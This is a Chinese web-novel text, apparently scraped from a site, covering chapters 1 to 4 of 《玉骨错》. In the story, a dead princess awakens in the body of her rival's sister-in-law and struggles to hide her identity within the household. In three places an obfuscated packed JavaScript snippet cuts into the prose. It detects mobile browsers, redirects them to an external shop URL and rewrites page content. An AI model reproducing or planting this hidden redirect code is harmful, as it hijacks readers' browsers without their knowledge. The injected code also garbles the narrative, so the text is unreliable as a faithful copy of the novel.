《玉骨错》 1. 错位 暮春的雨丝斜斜打在窗棂上,李妙仪在锦绣堆叠的雕花拔步床中蓦地睁眼,指尖下意识触到胸前时,猛地倒吸一口冷气。 全身没有一处不疼的,这疼痛如此熟悉,像极了纵马坠崖那日,崖壁荆棘寸寸划破皮肤的灼痛。 她竭力寻觅支点,却终究挡不住坠落之势,待落到崖底时,断骨处传来钻心疼痛,血不停地流,不知何时方咽了气。 可她如今分明躺在软烟罗被衾中,放眼望去,被角绣着并蒂莲与比翼鸟,帐顶垂下的同心结坠着两颗鸽血红的宝石,连鼻尖都萦绕着沉水香的余韵。 “夫人醒了?”身后忽然贴来一具温热的躯体,掌心沿她腰间曲线缓缓摩挲而上,柔软填满了指缝:“身子可还有不适?我让青鸾备了温补的汤药。” 李妙仪微微发着颤,肌肤漫起细密的战栗,白皙很快便被霞光覆盖。除了郑淮序那厮敢同她作对,从未有人敢这般轻慢待她,她气得反手朝身后人抽去:“放肆!” 话音未落,男子已翻身压住她的手腕。 李妙仪这才看清楚他的模样,眉峰如刃,相貌俊俏,垂眸看她时,眼尾未褪尽的红与唇边的笑意重叠,玄色锦袍半敞处,隐约可见斑驳的红痕。 他熟稔地将她的手拉到唇边亲吻,又替她合拢衣襟,哄道:“好夫人,昨夜是我不对,要得狠了些,你发发脾气是应该的。但这巴掌别往脸上扇,我还得出去见人。” 李妙仪正要发作,砍死这以下犯上的乱臣贼子,陌生的记忆如同破碎的潮水,不断涌入她的脑海。那些属于崔令言的诗书礼仪、与郑淮舟寥寥数面的印象、以及昨夜那混乱而令人面红耳赤的片段…… 崔家嫡长女崔令言,半年前与国公府世子郑淮舟喜结良缘。不料边境战事起,他只能抛下新婚妻子奔赴前线,不久前才班师回朝。 多日来崔令言未出房门,亦容不下这位少年将军的冲锋陷阵,每次都哭得甚是可怜,昨日更是闹到了半夜。 “你……”李妙仪颤抖着抬手,指尖几乎要触到他的眉峰。 她记得郑淮舟。大雍的国公爷郑崇璟,与其夫人卢氏共育有四子一女。在她还是安阳公主时,同这位年少成名的将军有过几面之缘,其职看似宿卫宫廷,实则为父皇的亲信。 印象里是个沉稳持重、寡言少语的人,与那个整日与她针锋相对的郑淮序截然不同。 谁能想到,她居然成了死对头的亲嫂嫂,这副身子还与他有了夫妻之实! 这认知比坠崖时的失重感更让她眩晕。 郑淮舟却误会她仍在置气,唯恐将夫人气出个好歹,连忙放开桎梏起身:“我让青鸾把汤药端进来,喝完就不难受了。” 言毕,他披好衣裳去了外间。 床铺的狼藉不忍直视,李妙仪冷静了片刻,终于下榻走到梳妆台前。镜中人眉峰如远黛,青丝如瀑,不施浓黛却自有清峭的韵致,正是盛京第一才女崔令言的模样。 残存的侥幸心理被击得粉碎。 她自幼习武,康健的身体如今变成了弱柳之姿,身上的疼痛也不是坠崖所致,而是拜那位“便宜夫君”彻夜奋战所赐。 驸马还没来得及招一个,怎就嫁作人妻了? 暮春的雨声淅淅沥沥,敲打着窗棂,也敲打着李妙仪混乱的心。她成为了崔令言,那安阳公主只剩下这躯壳里的一缕亡魂吗?真正的崔令言又去了哪里? 半晌,珠帘晃动,青鸾捧着药碗,小心翼翼地进屋:“少夫人,您起身了,这是世子吩咐熬的汤药,得趁热喝。” 本就心烦意乱的李妙仪有些不愉,目光锐利地扫向青鸾,那属于公主的威仪瞬间倾泻,吓得青鸾手一抖,药碗险些脱手。 “本……”一个“宫”字几乎要脱口而出,又被她死死咽了回去。她现在的身份是崔令言,眼前的丫头对原主最是熟悉,在形势尚未明朗之前,她还得依仗这个身份。 她模仿着记忆中崔令言那柔和却疏离的语调:“放下吧,我待会儿再喝。” 青鸾依言放下药碗,还是有些不安:“少夫人,您脸色真的很不好,要不还是让世子……” “不必!”李妙仪打断她,揉了揉刺痛的额角,“你先出去吧。” 青鸾不敢再多言,躬身退了出去。 室内重归寂静,只余雨声和身上的酸痛感提醒着她眼下的处境。她走到窗边,推开支摘窗,带着湿气的凉风扑面而来,稍微驱散了些许心头的窒闷。 死而复生确实是难得的际遇,可坠崖前的记忆竟如被水浸透的绢帛,晕开大片模糊的痕迹。她只记得皇家围猎前夕,世家贵胄们簇拥在她的营帐外,争相献媚讨好,欲博公主青眼。 至于如何坠崖,倒像被蒙了层薄雾,怎么也看不清了。 都怪郑淮序那混蛋,非要同她争吵,说什么“你若再这般骄纵,迟早要栽跟头”。如今倒好,这跟头竟栽成了他兄长的枕边人。 这关系乱得让她头皮发麻,他若知晓此事,怕是会笑得直不起腰吧? 想到郑淮序那副讨厌的嘴脸,李妙仪就气得牙痒痒。不行,绝不能让任何人知道这躯壳里换了她李妙仪的魂!尤其是郑淮序! 接下来几日,李妙仪凭借着崔令言的记忆和自身极强的适应能力,勉强扮演着“国公府长媳”的角色。所幸郑淮舟公务缠身,早出晚归,她也无需分出心神刻意应对。 直至这日深夜,郑淮舟披着一身寒露回到房中,便见李妙仪倚在软榻上看书。烛火温温跃动,在她低垂的眉眼间投下晃动的光影,那双总凝着疏离的眸子,比平日多了几分生动。 自那日清晨不欢而散,二人再未同榻。郑淮舟喉结无声一动,鬼使神差地走上前,伸手向她腰间揽去。 李妙仪更是跟见了鬼似的,强行克制住向后退开的冲动,“世子,你怎么来了?” 她的反应让郑淮舟的手悬在半空,终是缓缓收回。 “是我唐突了。”他声音沉哑,却无半分愠色,只当是新妇羞怯与不适,“我去书房处理些文书,夫人早些安置。明日让厨房熬阿胶红枣羹,你素爱甜口,我嘱咐她们少放些糖霜。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164850|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李妙仪目送他离开,手中的书甩到了榻边,再无兴致阅览。 这位“便宜夫君”怪黏人的,每每回府,总会给她带些外面的新奇玩意儿,或是简单地用膳闲谈,她唯恐露馅,每顿饭都吃得胆战心惊。 雨水连绵数日,终于放晴,郑淮舟难得闲暇,邀她去园中散步。李妙仪本欲推辞,转念又想,终日避在房中反而惹人生疑,便轻声应下。 国公府的花园景致极佳,亭台错落,曲水映阶。二人并肩走在雨后湿润的石径上,之间隔着一段恰好的、却又不自在的距离。 “身子可大好了?”郑淮舟打破沉默,说话间,他的指尖轻轻触到她垂落的袖缘,像无意,又像某种小心翼翼的试探。 “劳世子挂心,已无大碍。”李妙仪学着崔令言平日温婉的语调答道。 郑淮舟脚步微顿,侧首看向她:“夫人近来待我似乎格外生分?” 李妙仪袖中的手悄然攥紧,面上仍维持着平静:“您多虑了。” 郑淮舟的目光在她脸上停留,那眼神仿佛能穿透这副温静的皮囊,窥见内里不安的灵魂。 就在李妙仪几乎撑不住那温婉的表象时,他却移开了眼,望着池面被风吹皱的倒影,淡淡说了一句:“我还以为,夫人仍在恼我孟浪。” 这话说得太直白,李妙仪压下回怼的冲动,暗自腹诽,纵使占了这身子,当初同他欢好的是崔令言又不是李妙仪,她凭什么有负担。 正走着,前方回廊忽传来一阵急促的脚步声,伴随着少年清亮的呼喊:“大哥!大哥!” 这声音入耳,李妙仪浑身骤然僵住,血液仿佛顷刻冷凝。 只见廊檐尽头,一道月白身影疾步而来——正是郑淮序。他身量比半年前又高了些,腰间玄色织锦带束得紧实,发髻由一支青玉簪固着,几缕碎发散在额前,随步伐轻扬。 半年未见,他清减了几分,眉宇间褪去了往日与她争执时的意气风发,反倒蒙上一层沉郁。唯有那双眼睛,依旧亮得灼人,直直逼视而来。 郑淮序几步已到跟前,语气急切:“大哥,我有要紧事禀告!” “去书房谈。”郑淮舟转头对李妙仪温声道,“令言,你先回房歇息。” 李妙仪巴不得立刻离开,应了声“是”,转身便要走。 “嫂嫂。”郑淮序却在此刻忽然开口。 这一声“嫂嫂”,叫得李妙仪脊背发凉,脚步生生钉在原地,她缓缓回身,强迫自己迎上郑淮序的目光。 “多日不见,嫂嫂一切可好?”他语气听着还算恭敬,可那双眼里却凝着一缕深沉的审视。 李妙仪压下心头的惊涛骇浪,用尽生平所有的演技,维持着崔令言式的温婉与疏离:“有劳二郎挂心,一切安好。” 她微微颔首,不再多言,转身提裙而去。每一步都走得极其平稳,仿佛脚下不是青石板路,而是刀尖火海。 直至走出很远,转入月洞门后,她仍觉得那道目光如影随形,紧紧烙在背上。 刺得她步履生涩,如芒在背。 2. 委屈 黄花梨木书案前,郑淮舟三指虚握湖笔,凝神悬腕,笔尖游走于玉版宣上。墨迹蜿蜒处,枯藤虬结,力透纸背,他执笔的指节因专注而微微泛白。 郑淮序禀完要务,静立片刻,终是似不经意般开口:“大哥,近日查办安阳公主一案,循线摸到些零星痕迹……似乎与崔家隐约有些牵扯。” 笔锋倏然顿住,一滴浓墨无声氤氲开。 郑淮舟抬眼,眉峰蹙紧:“伯章,此话何意?崔氏乃清流门第,世代诗礼传家,与公主之事能有何干系?查案当重实证,莫要捕风捉影。” “并非捕风捉影,”郑淮序语气平直,目光却锐如薄刃,“崔家与公主自无旧怨,可在这朝局云谲波诡之际,人心隔肚皮。崔家是否知情,甚或是否被人利用卷入其中,谁又能断言?” “够了。”郑淮舟沉声截断,音色里透着不容辩驳的维护,“崔家如何,我自有衡量。你既司稽查之职,便该就事论事,勿将无端猜疑带入家门,更不可惊扰你嫂嫂清静。” 兄弟二人目光相接,空气陡然凝涩,隐有金石相击之音。 郑淮序喉间发涩,他深知兄长对崔令言的敬重,此刻任何疑影皆是对其边界的冒犯。半晌,他缓下语气:“大哥息怒,是我失言。此事我自有分寸,不会妄动。” 夜色渐浓,国公府东隅的小院却仍亮着一盏孤灯。 郑淮序独坐案前,指尖反复摩挲着一块边缘锐利、染着暗沉血迹的碎布。 他永远忘不了那一日。 猎场喧嚣骤乱,当安阳坠崖的噩耗传来时,他只觉得天地失色,随即不顾一切地冲下悬崖,徒手攀爬,锋利的岩石和荆棘划破了他的手掌、衣袍,鲜血淋漓,竟浑然不觉痛楚。心里唯有一个念头烧灼着:找到她!她一定还在! 可当他终于跌跪在崖底,拨开荒草看见她的那一瞬,所有的希望彻底粉碎。 她就那样静静躺着,像一尊被摔碎的白玉瓷偶。眼眸永远阖上了,唇色惨白,曾经飞扬明媚的骑装沾满污泥与干涸的血迹,触目惊心。 他颤抖着伸手,触到的只是一片冷寂的肌肤,再寻不回半分温度与生机。那个骄纵明媚、会因他一句顶撞就气得跳脚、也会在无人处偷偷苦练骑射想赢过他的少女,再也醒不来了。 那一刻,他仿佛听见自己心脏被掏空碾碎的声响。 他极轻、极缓地俯身,将她小心抱起。她无力地偎在他肩头,柔软发丝拂过颈侧,依稀残留着往日馨香,却与浓郁的血腥气纠缠在一起,蚀骨入髓,成为他余生再难摆脱的梦魇。 这半年来,他动用所有能触及的力量,明暗交织地搜寻,不放过一丝微末痕迹。任何可能与安阳之死相关的人与事,皆被他置于眼前反复审视。 所以,当“崔家”这个线索突兀地出现在面前时,即便它看起来如此不合逻辑,卷入此事的可能性微乎其微,即便它指向的是他兄长的岳家、他名义上的嫂嫂的母族,他也无法视而不见。 郑淮序闭上眼,深吸一口气,再睁开时,眼中只剩下冰冷的决绝。 他将那碎布紧紧攥在手心,棱角几乎要刺破皮肤。 烛火跳动了一下,将他孤绝的身影拉长,投在冰冷的墙壁上,仿佛与这世间的温情,已然割裂。 几日后,国公府张灯结彩,设下家宴,明面上是庆贺世子郑淮舟凯旋,内里更有一层庆贺夫妻团聚的喜气。 席间觥筹交错,一派和乐融融之景。国公爷与夫人望着并肩而坐的长子长媳,眼中尽是宽慰。 酒过三巡,几位旁支的婶母便笑着打趣起来:“济川这趟出征回来,气度愈发沉稳了!如今你们小两口琴瑟和鸣,也该加把劲,早日为咱们郑家开枝散叶才是!” “正是呢,”另一人接过话头,目光在郑淮舟与李妙仪身上流转,“瞧这郎才女貌的模样,将来生的孩儿,定是取了济川的英气,又承下令言的灵秀,不知要怎样招人疼!” 这些“开枝散叶”“早日生子”的喧嚷,一字字敲在李妙仪耳中,恍如紧箍咒,她面上维持着新妇该有的羞赧浅笑,心中倍感煎熬。 顶着崔令言的皮囊做夫妻已是如履薄冰,子嗣二字对她而言,更是绝无可能的禁忌。每一声催促,都像在无声地凌迟着她这尴尬的身份。 忽而,素来喜好风雅的姑母抚掌提议:“久闻令言侄媳琴艺冠绝盛京,昔年一曲《鹤唳云松》可是名动四方。今日这般喜庆,何不弹奏一曲,也让咱们沾光饱饱耳福?” 众人闻言,纷纷含笑附和,连国公夫人都投来期待的目光。 李妙仪心头猛地一沉,崔令言的琴艺她虽有记忆,却无其功力。昔日她贵为公主,琴棋书画不过沾些皮毛,兴致来了拨弄两下,与崔令言那“第一才女”的水准相差何止云泥。此刻若真上手,立时便会露馅。 她掌心沁出薄汗,正欲寻个由头婉拒,脑中飞快搜刮着崔令言可能会用的托词。 不料身侧的郑淮舟已搁下酒杯,沉稳开口:“姑母美意,心领了。只是令言前些日子不慎着了寒气,手腕至今仍有些虚软,只怕弹不出往昔韵致,反扫了诸位雅兴。今日便罢了。” 他语气虽淡,却似一堵无形的墙,将外界的压力挡在二人之外。众人见他发话,便也一笑而过,话题随即转到别处。 李妙仪悄悄松了口气,不由侧目看向他。郑淮舟正重新执起酒杯,侧脸线条冷硬,似乎并未将方才的小插曲放在心上。 宴散时,夜色已浸透青瓦檐角。李妙仪心绪不宁,脚下步子便有些虚浮。近日种种压得她寝食难安,此刻微醺之下,更觉恍惚。 行至回廊拐角,她未留意石阶边缘湿滑的青苔,脚下一崴。 “呀!”一声低呼,她整个人失衡向前跌去。 预想中的疼痛并未到来,她跌进了一个坚实而温热的怀抱。郑淮舟一直不近不远地跟在她身后,此刻眼疾手快地揽住了她的腰,将她牢牢接住。 “可有伤着?”他关切的声音在头顶响起。 李妙仪惊魂未定,脸颊贴着他微凉的织锦袍服,能闻到淡淡的酒气和松竹冷香。她慌忙欲站稳,脚踝处却传来一阵锐痛,惹得她蹙眉轻吸了一口气。 “扭到了?”郑淮舟不再多言,手臂一揽,便将她打横抱起,转身朝二人院落走去。 月光洒在青石板上,两人的影子被拉得细长,在寂静的回廊下轻轻摇晃。 李妙仪浑身不自在,轻轻挣动:“你放我下来,我自己能走。” “别动。”郑淮舟手臂收得更紧,“再摔一次,伤得更重怎么办?” 进了房,他将她放在床榻边,自己则单膝触地,为她褪去鞋袜。莹润的烛光下,脚踝已微微肿起,他的动作小心而专注,指尖的温度透过皮肤传来,有种不容忽视的存在感。 李妙仪如坐针毡,手指紧紧揪住床褥,只盼这令人心慌的亲密快些结束。 待处理好伤处,郑淮舟却未起身,他就着这个姿势,仰头望向她。烛光映照着他深邃的眼眸,里面翻涌着压抑许久的情愫。 “令言,”他唤她,掌心缓缓覆上她交叠在膝头的手,“你我既已拜堂成亲,名分早定,为何总要将我拒于千里?” 李妙仪看着这张与郑淮序有几分相似却气质迥异的脸,心中警铃大作,下意识想抽手避开他的注视:“世子多虑了,并无此事。” 他却不允她闪躲,目光锁着她,语气里揉进了一丝不解,一丝沉黯:“难道那几夜的温存与契合,夫人转眼便忘了?是为夫何处做得不好,惹你生厌?你告诉我,我可以改,若想要新的方式,我也能学。” 说着,他气息逼近,带着酒意的灼热,分明是要讨一个答案。 就在他的唇即将落下之际,李妙仪猛地偏过头,用力抽回自己的手,话语冲口而出:“别这样……是我不喜欢!我过不了自己心里这关!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164851|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 郑淮舟所有动作骤然僵住。 “不喜欢?”他重复了一遍,仿佛听不懂这三个字,眸中的迷离被愕然寸寸取代。 李妙仪心慌意乱,自知失言,前后矛盾,却只能硬着头皮强撑:“是,不喜欢!我们相处时日尚短,根本谈不上了解,更无感情基础,如何能这般亲近?” 话音落下,房里静得能听见烛花爆裂的轻响。 郑淮舟的眉头深深蹙起。他自幼所受教诲,夫妻乃父母之命、媒妁之言,既已明媒正娶,同房共寝、延绵子嗣便是伦常本分,何须什么“感情基础”?更何况他们已有夫妻之实,此刻这般拒斥,在他听来近乎不可理喻。 他嘴角扯起一点极淡的、近乎自嘲的弧度,语气也沉硬下来:“夫人这话,倒让为夫听不明白了。盛京谁人不知崔家嫡女最重礼法?既入我郑家门,自该恪守为妻之道。此刻来谈‘时日短浅’……莫非,”他目光倏然锐利,如刀锋出鞘,“夫人心中,另有所系?” “你胡说什么!”李妙仪被他这话激得又气又急,所有强装的镇定瞬间碎裂。 他那理所当然的质问,像一点火星,骤然引燃了她连日来积压的所有委屈、恐惧与不甘。 她想大声反驳,想嘶喊自己根本不是崔令言,可话涌到嘴边,却只能被更深的无力感吞噬,化作陡然决堤的泪水。 郑淮舟见她毫无征兆地落下泪来,不由得一怔。他本不善言辞,方才那些话已是极限,此刻见她落泪,那点因被拒绝而生的恼意顿时消散大半,取而代之的是一阵陌生的慌乱。 他有些笨拙地伸手,想去拭她的泪,又怕力道不当:“别哭……是我失言。” 李妙仪却侧头躲开他的手,眼泪落得更急。 从小到大,她李妙仪何曾受过这等委屈?昔日是父皇母后的掌上明珠,纵有任性顽劣,谁人敢这般质问逼迫?如今死得不明不白,顶着他人身份苟活,每日战战兢兢应对这荒诞的婚姻,竟还要被扣上“不守本分”的帽子! 越想越觉悲从中来,哭声再也抑制不住,从最初的啜泣转为肝肠寸断般的呜咽,肩头剧烈颤动,仿佛要将重生以来所有的惊惶、孤独与憋屈尽数倾泻。 那哭声里透出的真切痛苦,毫无矫饰,让郑淮舟彻底慌了神。 纵是沙场面对千军万马,他亦不曾如此手足无措。他僵在原地,伸出的手进退不得,只能干涩地解释:“我并非要逼你,只是我们已是夫妻,理应……” 李妙仪根本听不进去,哭得几乎喘不上气,眼泪鼻涕狼狈地糊了满脸,早无半分平日竭力维持的温婉仪态,却更显得真实而脆弱。 郑淮舟看着她这般模样,心头只剩下满满的心疼和无奈。他叹了口气,终究还是上前,不顾她的轻微挣扎,强硬却又不失温柔地将她颤抖的身子紧紧搂进怀里。 “好了,莫哭了……是我的错,我不该那样说你。”他生硬地拍着她的背,“哭伤了身子怎么办?你不愿,我不逼你便是。” 他的怀抱宽阔而温暖,带着令人安心的气息。李妙仪起初还挣动两下,终究是心力交瘁,伏在他胸前,任由泪水浸湿他衣襟。 许久,那剧烈的呜咽才渐渐平息,化为偶尔的抽噎。 郑淮舟刚觉怀中身躯稍稍放松,她却忽然用力推开了他,眼睛肿得像核桃,嗓子也哑了:“我脚伤了,不便同榻,你自去别处歇息吧。” 郑淮舟唇角动了动,最终什么也没说,只默然替她掖好被角,转身离开了内室。 房门轻轻掩上的那一刹,李妙仪浑身力气仿佛被抽空,瘫软在床榻上。她望着帐顶摇曳的流苏,心中一片冰火交织的茫然。 今夜这一关,虽是侥幸度过,可她比谁都清楚,只要一日还是“崔令言”,这般令人窒息的矛盾,便永无休止。 长夜寂寂,国公府世子与少夫人,分榻而眠。一派平静之下,寒流已在无人窥见的深处,悄然涌动。 3. 鸿沟 自那夜不欢而散后,李妙仪与郑淮舟之间便陷入了一种无声的对峙。她借口脚伤未愈,整日闭门不出,只在那箱属于崔令言的书册中消磨辰光。郑淮舟虽每日必来探望,见她神色疏淡,略坐片刻便也离去。 府中人以为是少夫人矜持持重,世子体贴知礼,倒无人深究其中端倪。 转眼上元节至,京中解宵禁三日,火树银花,亮如白昼。国公府一众兄弟姊妹相约出游观灯,连素来沉稳的郑淮舟也被弟妹们笑着拥了出去,李妙仪自然也在其中。 长街如昼,人潮似海,各色花灯汇成一条流动的光河。困居府中多日,被这鲜活的盛世景象一扑,李妙仪那双眼眸不自觉地亮了起来,宛如骤然被点燃的灯芯。 行至一座精巧的鸳鸯桥前,几个弟妹嬉笑着挤在一处。不知是谁在李妙仪身后轻轻一推,她脚步骤然踉跄,还未及反应,便与同样被弟妹推上前的郑淮舟撞了个满怀。 两人身躯贴近,近得她能闻到他衣襟间清冽的松柏气息,混合着今夜沾染上的淡淡灯烛烟火味。 “大哥大嫂快上桥呀!”小妹郑华琬在身后掩口轻笑,声音里满是促狭,“一起走这鸳鸯桥,往后的日子定是和和美美,恩爱白首!” 众人哄然笑着,目光都聚在两人身上。 李妙仪哪敢应承,下意识地想抽身后退,可郑淮舟的手仍虚扶在她肘侧,力道温和却不容退却。 她抬眼看向他,郑淮舟面上仍是惯常的沉稳,可借着一旁花灯跃动的光,她分明瞧见他耳廓染上了一层不易察觉的薄红。 他的目光落在前方蜿蜒的桥面上,喉结却几不可察地滑动了一下,“走吧。” 李妙仪指尖微蜷,终是垂下眼睫,硬着头皮迈出了步子。既顶着崔令言的身份,这出戏她便得演到底。 桥并不长,以青石铺就,两侧雕着并蒂莲与交颈鸳鸯的纹样。桥下流水潺潺,浮着无数盏祈愿的莲花灯,烛光倒映在水中,随波光碎成点点金芒。 两人并肩而行,衣袖不可避免地相触、相拂。桥面狭窄,往来游人如织,不时需侧身相让。每一次贴近,李妙仪都能感受到他手臂的坚实温度,以及那似有若无的、属于成年男子的压迫感。 她的脊背绷得笔直,每一步都走得谨慎克制,仿佛脚下不是寓意祥瑞的鸳鸯桥,而是悬于深渊的独木。 行至桥心最高处,迎面涌来一群喧闹的少年,郑淮舟几乎本能地侧身,将她护在里侧。她的肩头轻轻撞进他胸膛,隔着层层衣料,竟能隐约感觉到他沉稳的心跳。 “当心。”他低语,扶在她腰间的手掌紧了紧,很快又松开,动作快得仿佛只是她的错觉。 李妙仪屏住呼吸,这亲密的保护姿态,在旁人眼中是恩爱,于她却是煎熬的僭越。 而这一切,分毫不差地落入了对岸一人眼中。 郑淮序静静立在桥头一株老柳树下,身影半隐在灯笼投下的阴影里,一言不发地盯着桥上那对璧人。直到二人踏下最后一阶时,他才挪开了视线。 行过鸳鸯桥,一行人辗转来到灯铺前。架上琳琅满目,郑淮舟见架上悬着一盏玉兔灯,通体莹润,双耳纤巧,烛光一映,恍若雪团。 他想起妻子素日偏好清雅,便取下递至她面前:“夫人看这盏可好?倒与你平日气质相合。” 李妙仪正被满街煌煌灯海晃得目眩神摇,闻言瞥去一眼。那兔儿灯固然精巧,却未免太过温驯乖巧。她目光轻飘飘掠过,径直钉在了高处,那里悬着一盏猛虎下山灯。 金睛灼灼似真,白额凛凛生威,灯身以细竹为骨,彩纸裱糊出斑斓毛色与贲张肌理,栩栩如生,几欲破灯而出。 这才是她安阳公主该选的灯。 虎虎生威,睥睨众生。 几乎未及思索,纤指已抬起,遥指高处:“劳烦掌柜,我要那盏老虎灯。” 此言一出,郑淮舟握着兔儿灯的手一顿,看向她的目光带了几分讶异。素日只爱兰草竹影、诗词清音的人,何时竟对这等威猛张扬之物起了兴致? 而一直沉默跟在三四步外的郑淮序,却在听见“老虎灯”三字的刹那,骤然抬首。 灯影人潮仿佛瞬间褪去颜色,唯余那抹纤影立于煌煌光华之下。 去岁上元,亦是这般人声鼎沸、灯火如昼。记忆里那个骄蛮鲜活的少女拽着他的袖角,奋力挤过熙攘人群,指着最高处那盏新扎的猛虎灯,眉眼飞扬如星:“郑淮序,你看那大虫,多威风!本宫就要那个,年年都要,这才配得上我!” 他那时还挑眉嗤笑:“女儿家选什么老虎,也不怕吓着旁人。” 她却扬起下巴,笑声清越,盖过满街喧嚷:“你懂什么?一点品味都没有!” 此刻,眼前这袭素衣、梳着温婉妇人髻的“嫂嫂”,竟与记忆中那个烈烈如火的身影严丝合缝地重叠在了一处。郑淮序喉间倏然发紧,握着灯杆的指节微微泛白。 李妙仪浑然未觉,她自掌柜手中接过那盏威风凛凛的老虎灯,提在手中,沉甸甸的,虎睛在烛火映照下流光烁金。一股久违的畅快悄然漫上心头,她几乎错觉自己又变回了那个可以肆意笑闹、无所顾忌的安阳公主。 她随着人流信步往前,看杂耍、猜灯谜,一时忘形,竟未察觉自己已渐渐远离了国公府众人。 待回过神,竟不知不觉到了护城河边。这里灯火稍疏,河风清寒,水面浮着无数盏莲花灯,烛光点点,随波荡漾,每一盏灯里,都载着生人的祈愿,或是对逝者的哀思。 她心中蓦然一动,走到近旁小摊,也买了一盏素白莲花灯,而后蹲在河畔,将灯轻轻放入水中。 烛火在晚风中颤了颤,随即稳住,载着那一点微光,缓缓漂向河心。 她望着那渐行渐远的灯火,心中默念:“崔令言,若你魂魄有知,望你莫要怨我占了你的身子、你的人生。但愿你此去,能投个好胎,一世平安喜乐,得享真正安宁。” 默然片刻,又有更深的酸楚涌上,声音低得只有自己听见:“父皇、母后……儿臣不孝。唯愿你们身体康健,勿要……勿要为儿伤怀。” 灯火映着她略显苍白的脸颊,眼中水光粼粼,分不清是河中倒映的万千光华,还是悄然氤氲的泪意。 “嫂嫂为何一人在此?” 身后骤然响起的清冷嗓音,惊得她身子一颤,险些向前栽去。仓促起身回头,只见郑淮序不知何时已立在几步之外。 月色与远处灯火交织的光影落在他身上,半明半暗,衬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164852|196659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得他面容愈发深邃难辨,那双眸子更是沉如寒潭,静静望着她。 “二郎。”李妙仪强自稳住心神,扯出抹笑意,“一时贪看景色,未留心便与大家走散了。” 郑淮序的目光掠过她空悬的双手,又落向河中那盏已然漂远的莲花灯,停留一瞬,并未追问,只道:“大哥与弟妹们都在前方戏台处观艺,我送嫂嫂过去。” 从护城河边到城中最大的戏台,需穿过盛京最繁华的街市。两旁商铺鳞次栉比,叫卖声、笑语声、丝竹声交织成一片沸腾的海洋,各色花灯将青石板路映得流光溢彩,恍若白昼。 李妙仪与郑淮序一前一后,沉默地穿行于这片喧嚷之中。他始终保持着半步的距离,不远不近,是一个合乎礼数、无可指摘的叔嫂间距。 人潮汹涌时,他的手臂会微微抬起,虚虚护在她身侧,挡开那些可能撞过来的行人,衣袖偶尔因动作轻轻拂过她的臂膀,一触即分,克制而疏离。 正行至一处拐角,旁边玉饰摊的摊主眼尖,见郑淮序气度不凡,衣着华贵,身旁跟着一位容貌清丽、气质不俗的女子,在这满街成双成对的佳节氛围里,便热络地扬声招呼: “这位公子,给您家夫人选支玉簪吧!您瞧这玉兰,清雅高洁,最配夫人这般气质,上元佳节,怎能不给夫人添件新首饰?” “夫人”二字,如同惊雷,猝然炸响在两人耳畔。 李妙仪下意识地看向郑淮序。从前每逢年节,无论他们之前因何事争执、闹得多么不愉快,郑淮序总会别别扭扭地寻个由头,塞给她一样小玩意。有时是一支新笔,有时是市井搜罗来的新奇机关盒,嘴上总说是“免得你出去说我们国公府小气,连份礼都没有”。 她有时故作嫌弃,有时却又暗自欢喜,那般别扭的馈赠,早已成为独属于他们之间心照不宣的习惯。 可如今,她成了他的“嫂嫂”。 那个会收到他别别扭扭的礼物、会与他吵嘴赌气、会指着老虎灯说要“年年都要”的安阳公主,已经“死”了。 一股尖锐而冰凉的酸涩猛然窜上鼻尖,堵得她喉间发紧。 而郑淮序在听到那称谓的刹那,脸色骤然一沉,他甚至未曾瞥向那支玉簪,目光冷冽如刀锋般扫过摊主,同时脚下已不着痕迹地侧身,将两人之间那本就谨慎的距离拉得更开:“店家慎言,此乃在下兄长之妻,郑某的嫂嫂。” 摊主这才惊觉失言,见郑淮序神色不似说笑,连连拱手赔笑:“哎呦!是小人眼拙!公子莫怪,这位……这位夫人莫怪!小人该死,小人胡说!” 郑淮序不再多言,转身对李妙仪略一颔首,面上已恢复了平日的沉稳,只是那沉稳之下,是刻意筑起的、更加分明疏离的分寸:“嫂嫂,戏台就在前方不远,请。” 李妙仪迅速垂眸,掩去所有翻涌欲出的情绪,快步跟上他重新迈开的步伐。 手中那盏威风凛凛的老虎灯,此刻却仿佛有千斤重;方才河边放灯时那片刻的宁静与释然,也早已被这猝不及防的“误会”击得粉碎。 横亘在他们之间的,何止是如今这叔嫂身份的鸿沟。 更有一道生死铸就、永远无法跨越的绝壁,将过去与现在,将她与他,彻底隔绝在了两岸。 4. 试探 众人汇合后,去了城中最大的戏台楼下观戏。 台上锣鼓喧天,演的是书生小姐月下相会的老套戏码。李妙仪对此兴致缺缺,目光漫无目的地游移,忽而定在了旁边小几摆着的梅花糕上,澄黄莹润,糕点中央点着嫣红梅瓣,正是前世她最爱的样式。 记忆里甜糯的滋味蓦然翻涌,她未及细想,纤指已拈起一块送入口中。软糯香甜在舌尖化开,熟悉得令人鼻尖发酸,便一时贪嘴,又接连用了两块。 